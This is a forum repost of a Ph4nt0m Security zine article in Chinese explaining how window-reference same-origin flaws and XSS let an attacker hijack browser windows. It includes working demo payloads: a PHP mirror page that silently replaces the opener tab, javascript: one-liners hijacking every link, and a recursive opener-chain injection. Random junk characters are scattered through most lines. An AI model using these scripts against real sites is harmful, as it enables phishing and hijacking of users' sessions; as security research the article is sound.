找回密码
 立即注册
查看: 2935|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
1 M8 s0 S. k  W, }8 a& D - d  x8 X5 d# Z7 |: C
                       Issue 0x03, Phile #0x05 of 0x07$ c, n8 y2 o! n4 ~' u0 ~

  N8 `$ R. d5 c/ g, O: t% O4 z, b. s* _4 ], |
|=---------------------------------------------------------------------------=|+ t! z6 O& R+ b  `6 }) M
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|5 J* q: |8 p! i; X
|=---------------------------------------------------------------------------=|
$ X, ?9 w' ~2 g9 w0 j- z|=---------------------------------------------------------------------------=|' ?- ^' O, g/ y& \/ C
|=------------------------=[      By rayh4c     ]=---------------------------=|
5 S: c; Y% u$ z6 |$ u7 I|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
; G$ s% V( N5 G5 h& I|=---------------------------------------------------------------------------=|
. g! `) D) b! H/ |6 z- D# x8 a  G8 w& F* N7 w3 O8 |

/ C3 I1 o& I& j1 @& M/ x[目录]
8 I! n- {+ A, A: Q3 n
- Y( J; Z1 [2 i3 u% d5 ~8 I1. 前言- e3 z1 F$ [7 @( j' W6 V5 U0 d, K
2. 同源策略简叙
4 q3 n% s+ w( I8 C* O( N; v3. 理解window对象的同源策略
9 t9 c% W9 d& g+ f4. 窗口引用功能中的同源策略漏洞
, w' b% L; d) U# n' v( P& t  C  4.1 父窗口引用子窗口的同源策略问题/ t: j1 L, y" c
  4.2 子窗口引用父窗口的同源策略问题4 t/ N/ j' t6 k4 b5 E8 H
5. 利用窗口引用漏洞劫持浏览器
& \, c5 N; L! |& [0 j( k3 ~  Q6. 利用XSS漏洞劫持浏览器
0 S* Y/ h9 T3 i1 ]7 A- z# `: k0 h  6.1 正向跨窗口劫持
. S1 Z( v+ |8 g8 n. d# o  6.2 反向跨窗口劫持
! M- t2 o( }9 g8 U9 p9 V( e  6.3 极度危险的跨框架窗口引用劫持
- H. B2 _0 r; C/ a  6.4 极度危险的正反向跨窗口递归劫持
, y  B( j6 u- h5 H/ R  6.5 完全控制浏览器$ {: J3 J7 x, E! y
7. 后记
9 `1 R& r, q+ S; f; B8. 参考# V, V# D, Z1 c" R; ^, c
& r# ]" J1 C6 n+ m
4 X& L; ]& }3 ^8 o# U' M; H
一、前言9 W, q( @! ^  Z2 }

- V( S- a. P9 `/ A" B/ q    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
6 N, ]1 z& ^9 T# A友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session1 j7 L  O2 y+ h  G  E; w% q, ^* i
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被5 y; B' w5 E9 F! `: w: a3 u4 \
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。6 _6 \) r/ y' t: o1 |; M

  I9 T, _8 d+ W$ w
3 K  R5 S2 T0 s二、同源策略简叙
& H6 N; e! P% d8 Z& j" ]
5 {2 y2 ]7 [: H" f" ?  e6 n% D, f0 }    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以1 S- D1 @) ?9 x+ O0 J% G/ t
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
1 c0 u2 H- o; a6 g8 C曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
  v+ l( C: i' ]# H2 E) L7 O马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个. a& s7 F  \/ G+ h% P0 ^
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
/ O! I( E: q/ \/ G2 V1 c% v: N0 {' v# h5 F$ h5 j# Q+ r! K* H

7 I5 s* s3 l! M& R6 @% r7 n三、理解window对象的同源策略
1 k- a5 L; k& H3 z8 R  K
/ E& D( J2 V, e- C+ l5 n' _    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
) F; f" ]0 t1 K2 a- d3 h; U! I/ I象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:3 y+ u5 J/ Y5 T

" [" d& a2 `0 `--code-------------------------------------------------------------------------
7 l6 o( M& @1 H7 H6 c<script language="javascript">* b% V! o4 q; f0 e" H/ Y9 t& Z
for(p in window) document.write(p+"<br>");
' K' V' G$ F6 n  j1 x  O' ^+ E</script>
! V$ r- l. W* r8 z6 k2 F& G! B-------------------------------------------------------------------------------* u$ Z- ^3 I3 ?0 P, D0 G* p# I
& C9 V. K" U% I3 c
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方- }! V) {$ k1 q- `4 s, R
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,# n- i& b* G1 d" r
这些属性和方法就必须遵循同源策略。
  g! y9 x8 O. A' c& H2 X# z- K& Y0 B0 ^. I4 u
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那: K9 b0 {5 k( S
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
0 U8 Q: k) l; L0 Z4 [的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这4 U6 Q+ l3 C2 r2 ^7 s) O1 n; T- H
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的- Q2 ?; G( g7 A" E, `- D1 }
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location, I9 Z5 N1 c2 w2 d- @9 R
属性并没有被拒绝访问。+ x; |# b* ?" v+ @7 v
% Y% \: e- T) }; k
--demo.html--------------------------------------------------------------------; W9 R% G/ O$ X6 i
<script language="javascript">   $ }$ d1 Q- Q- }7 l% a# S0 e
function allPrpos(obj) {      
/ ^  {  Q% W0 X+ D4 v      var props = "<table><tr><td>名称</td><td>值</td>";           
/ w7 r3 v3 ~4 z9 v  }$ Q      for(var p in obj){          " W+ b1 o$ q" r+ @7 K
            if(typeof(obj[p])=="function"){   
3 c/ c# D1 a, P0 D0 C* T                   obj[p]();   
: u8 w; T! V9 V! B             }else{                     
& \8 P8 a( X2 n3 [                  try   
$ @. H4 U" \5 X                   {   9 K7 g  `- z: n1 u8 g6 H, j0 I
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
5 i0 z! K' x" v" ?3 D                   }   , [/ P! y! J; X# B9 w
                  catch (ex)   : o3 b8 T5 Q, |& M, y0 S  m0 V
                   {   
. ?# q7 b7 h) C$ k1 o% a! Y& [: F" r                  
0 v# R: }2 N* @) r                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
7 |; D: T6 D9 O9 y% J                   }   ( X: N6 {- ]- d! ]
                       
5 N# o9 Q4 k* ?! O8 H; p  l+ K1 D             }   
, N: ], f4 L+ U: o  A9 T$ V       }   
) a, G7 E9 C* w. A: f7 Z   # R9 d, m" v5 l9 S+ R7 H
       document.write(props+"</table>");   * r$ A! L! u$ F9 W+ p5 A9 l
}   4 F, H5 N, x) P% H: ?
   
* D, Z  |' m# L, Xfunction createWin() {
8 e6 i6 i/ s7 W( }4 F7 G        newWin = window.open ("http://www.google.com");  8 f6 K9 x$ i+ c; @* l- k9 U, N, m/ T+ x0 \
        setTimeout(function(){allPrpos(newWin)},2000); " k% L: P6 ]  H7 N& r! R/ J6 Z
} 7 p$ }9 }- z; O4 W
" y3 h  w5 y! P
</script>
4 H% g- N9 l# S: \2 r1 e8 K6 r2 |# V* E, J
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
! C: ]" U5 z2 C- O; }3 J-------------------------------------------------------------------------------
# y1 {& @& U: C, _  u! p4 }  f0 D  e( K
9 w2 _( a* \- J8 V5 M+ F4 a
四、窗口引用功能中的同源策略漏洞. k/ o! f/ n  x7 x2 j6 H7 S
2 v- E* T* p& d# h
4.1 父窗口引用子窗口的同源策略问题
; d0 Y2 I4 R. z! [0 a' A
. `0 X1 F+ U6 h' X    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,9 O3 t) @# t- X6 c
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
& G0 o& M! q' I# }浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
1 J0 J& @% s0 U+ z, D行测试,会发现父窗口可以控制非同源子窗口location属性值。( G5 Q4 f8 e' V' R! o
6 ^: ?. s; V" P" B! N
--vul1.html--------------------------------------------------------------------6 w. {; K, ~: W) h$ O7 v8 z
<script language="javascript">
' N, y: ~, ^: J" R% t9 L* O: \& ofunction createWin() {  3 v8 Y& @0 p4 Y! S
        newWin = window.open ("http://www.google.com");  
8 p' F) o6 T# I. f$ o( D7 m6 E        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); " g8 v  `3 a2 `0 D1 [+ v
} 3 ]) N. s+ O$ u5 C/ H& o* A3 K+ w7 D8 O
</script>! ~* M& B( Q) p5 n
% d+ G0 U: q) Z! p  ^: p9 k
<button onclick='createWin()'>创建一个非同源子窗口测试</button>4 i+ a$ W4 M* Q/ r, V0 H0 W5 s0 G
-------------------------------------------------------------------------------! A, q+ G6 G" V: A& S
6 M/ `) ]/ p3 [2 V% X0 f( A8 ^& \

, b3 Y3 {% z0 X0 |* E0 \4.2 子窗口引用父窗口的同源策略问题
2 r$ t, {* d) f/ p3 O, x+ v' r1 W/ [# Q( E- o( x# a
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使( K" u2 A5 Q) z
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
8 N  u/ h; T% f* w- D可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
* B1 p+ K$ N2 x会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。$ L  Z& X5 o. `% ~
" Y& }! {/ V& |+ ]/ U5 T
--code-------------------------------------------------------------------------& Q3 l; M2 r8 @2 M
- c/ _( C2 I/ `  S8 ^( [
javascript:window.opener.location = "http://www.80sec.com";void(0);; n2 D3 [2 o9 X8 x
" q! R" b4 Y& O" Y/ Z' F+ D
-------------------------------------------------------------------------------
3 {! E" H' C/ L# l' g& Q# T
/ b* ?4 ^" k7 |1 `  y1 f3 o: s  H/ h6 o0 Q; e* f% c7 u9 Y
五、利用窗口引用漏洞劫持浏览器
  y1 Z7 s, Z3 d: {, S  D; u
0 X2 _: w5 l, [  \4 @    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子3 s9 y' w, X  M# L
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那' u3 l- D4 n+ r1 ?
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
2 E& l- v4 U2 X# P( v- o! |% G. D' S" v" x+ U
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产. B1 j+ ^2 L' c6 p+ e$ v) D% B
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
( k; S( k% z7 Q$ B/ a者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
5 `5 z! L9 f+ D5 Z* c0 E后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下0 f% N. {  S7 F
会产生什么可怕的后果。
! g: w. b7 i% R* w7 k! W' @( X& O( k* r0 `2 j; G% V3 p' d6 }' Z( c
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我' m4 L) |' H! U- n: `5 O
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php' K5 G# Y& C; V# ^" j
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
# V6 V  u$ c4 D# {& q* V% N候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可. d9 F+ C9 t- a1 w* R( B8 @! [
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
1 ?: W' C; f5 m2 l; D" F8 F) C% x3 L* w6 k3 R
--hjk_ref.php------------------------------------------------------------------
" ~3 L) l4 H, }" E2 ~* l6 D<?php9 C  ?/ p1 a4 X' L' x5 z- t
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$ h: N1 x. g) }6 M( M. k8 l$Url_Mirror = $_SERVER["HTTP_REFERER"];) ^! F" r1 r" e( u9 [) D; v9 |
}
4 e6 V, S+ ?% o6 N1 W  f1 eif(isset ($_GET['ref'])) {( B2 b. J7 `/ }# K7 U% k
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';* V0 E8 z3 q4 e  E. m
}
; n$ `6 q0 m- s. U' T?>
' [1 J: Z1 x/ g; w4 H" ^/ N" b$ W. S2 G: S( _; @) P0 \/ [
<script language="javascript">. \, W. H+ A1 t5 C' ?& Y
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
) m* J) J$ x4 t% e# D, F6 \</script>
4 y$ u9 z/ U1 ^$ P-------------------------------------------------------------------------------9 [' K0 I. B# J1 T1 h1 G6 F

7 }' G# G3 k' _" i0 R( |' K$ t+ Z    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
- F  U7 i! v0 x7 |1 a7 `/ ^7 p
6 ?, v3 b, C4 W* \7 M0 d) Z0 P( C( J) ?% Y% L0 {
六、利用XSS漏洞劫持浏览器
$ ?& e7 x# S! W5 K
1 O# {4 h: S4 X( n1 I  {0 E    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
# F, s1 I4 R. n8 |- _4 g持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
1 t% k2 G) _0 L2 kXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起" T7 l$ Z% v  J( @; j
讨论跨站师的终极技巧:
" ~7 E  L' G8 B( {# i+ Y
9 f5 ~) f# w5 F9 Z) Q0 x! H* L" m! [4 ~- q
6.1 正向跨窗口劫持/ U- x! V; N8 `3 @

# @) M7 O- [7 v- N& B* h  e. F    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
5 \. H/ L' t% ?( F8 e主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
! k( r. I/ m' i: d" y接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话2 R; ]) f5 `+ E! K4 j% Q
框脚本。
; T2 L7 \# h4 H. [. j4 l6 A3 L. V) m  u) M0 t  B( p  [% X8 ~
--hijack_open.js---------------------------------------------------------------- e. z9 Z7 f! |( v, M6 P* p

' E( B( P; ?6 O2 y- \; x7 e1 u' njavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);' |  O4 J% X; r5 Z7 l! x

2 N) @6 n9 t. |( E1 O-------------------------------------------------------------------------------
; g. _6 U0 g# @  N
  U9 S1 ?7 t# _7 V: |, V
: B& J/ Z  y, D+ t. t6.2 反向跨窗口劫持
0 v9 j3 }0 T+ L; s
( a$ r$ {8 R0 d    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
' c  I% Y6 d  _码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话6 K6 D: P& y( C* D9 U3 N* j" }
框脚本。
2 I4 V; o4 o/ z
6 J( T) S. J3 {4 \3 [; M2 f$ g. O--hijack_opener.js-------------------------------------------------------------0 b; v. W; @6 K4 t

* N+ Q) J$ {/ N3 n. jjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);+ z9 ^5 D' }! Q, b% o

- ]' \  C8 g, [% ]+ k' h, I-------------------------------------------------------------------------------
1 w0 I" ?1 T0 n. \! m
% [" t' T* T/ ^- P! i' x# p. t/ c/ @  H% A$ k. ^1 F
6.3 极度危险的跨框架窗口引用劫持
: c2 Y* q' x4 Q1 {* P% R
0 L  v2 D4 K( [# M    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞" o3 b% Q; n% _0 d
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就3 p2 R% o5 N/ d/ ]  I) @1 n) H& o
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
1 O) ~- _0 t% B, \非持久型的XSS,如下:9 A* T, m8 b+ j
; F# I$ M! d) D  l* C! h
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>, S4 r; I4 h7 l" e; w7 w; A/ M

! t5 K/ y% ^# y7 r9 S. R  C    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
  k+ d2 D) ?7 N: Q注入脚本。
0 s6 Z$ h: ]1 m( B, s- P5 E+ Y; X$ w4 p. c9 q
--hijack_frame_opener.js-------------------------------------------------------9 Q# W' R) N3 Z! ~
<script>
. m# H8 W3 p4 V( Z# q! Cwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";: k7 M) k1 v) {  a9 Q" I: L: A
</script>
2 A, V4 x2 D5 F% {3 |4 M: D4 V-------------------------------------------------------------------------------" {3 x# ?5 R) f/ n* U. [

% n0 G) H, t1 g* N$ g0 h
% N  v/ f( E2 F) f  q6.4 极度危险的正反向跨窗口递归劫持
5 X. H. l) x+ c$ b# q0 W
  N3 e; f9 P$ H- r. a4 Y. J    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window% [2 @: t3 x$ T3 o8 f* e
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过& ]/ c: D0 b, L
异常处理规避之间跨域页面的访问异常,代码如下:
1 Q5 f0 c1 A# i
7 R1 L3 P# E) V$ t3 H& U--code-------------------------------------------------------------------------6 j" B: H9 z$ H5 d& ^& c' K. o

0 `$ i+ S! b+ m2 X6 _6 e8 Sjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
3 D# A, ^: F# P, H: Z8 U7 D' b# \) s( e5 ]: a
-------------------------------------------------------------------------------9 `& y9 E& N; H( |7 p
# u5 e& u$ e& ?! U# y! _7 ~
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可, L5 Q& {+ D9 P: N: l3 u
以劫持B域之前的A域页面,从而实现“隔空打击”。( i3 m& P* [) F- h# b

0 B. C+ _) G* m/ B, n" J! R0 A0 X    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
, k0 W. K$ l% }" j5 G5 V执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
% o. P4 k3 ^8 r# K. z1 c! r* W8 L2 m4 S: w: `7 |6 k
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。/ J! H3 z, `7 ]1 N
- R) A. T% _; ~- r

0 d& L3 B* h6 H. @6.5 完全控制浏览器, @  D, Q0 D9 i" K% R$ m1 e4 L
  L+ A7 i5 S8 h- p; o
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 l+ M2 t: I9 K( {4 T8 {; N* z是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
2 C0 ~7 k  Z( K" `& f6 v+ N# N( u漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失# |9 n- a" w, t/ e/ L
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
8 \; G! v( T, |7 U$ H9 u列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
9 x/ T: M5 @$ |* n$ I5 _师的终极目标 - 完全控制浏览器。, _; l( a* S+ R5 v& {
: X! O" d. Y4 Q# {
1 ~( |2 ]# Y+ c: t1 o- T: d
七、后记4 S% _0 Z( _& F0 g' e6 N2 V

0 B5 {7 O4 g1 l% e    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全3 |, G5 p) G% z; e, S: J9 ^0 N1 t
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予3 L" g, h; K$ U2 s
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。" ], h. q* u+ V" |, K3 m/ \2 T# E" k
! F1 a* {7 _- }2 ~$ T

5 r1 o  d, \4 T八、参考% M8 W- [' P0 y5 `- W' E7 ?# y
0 f$ I6 U! b- R5 s% Y
1. http://en.wikipedia.org/wiki/Same_origin_policy8 O, i8 l$ B. Q& n
2. http://code.google.com/p/browser ... licy_for_DOM_access
( I  J6 N* Y8 c% ]# }0 \3. http://www.w3.org/TR/Window// ~4 {. |  G; U; ]  H. V! o* }0 p, a
4. http://www.80sec.com/release/browser-hijacking.txt6 }9 P! f% d& D9 x
5. http://www.80sec.com/all-browser-security-alert.html+ h% n. C3 C2 c
6. http://www.80sec.com/ms08-058-attacks-google.html+ U- x" I7 K' ]3 B- Y7 [
( N' t2 J1 {* G7 R2 Y, O
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表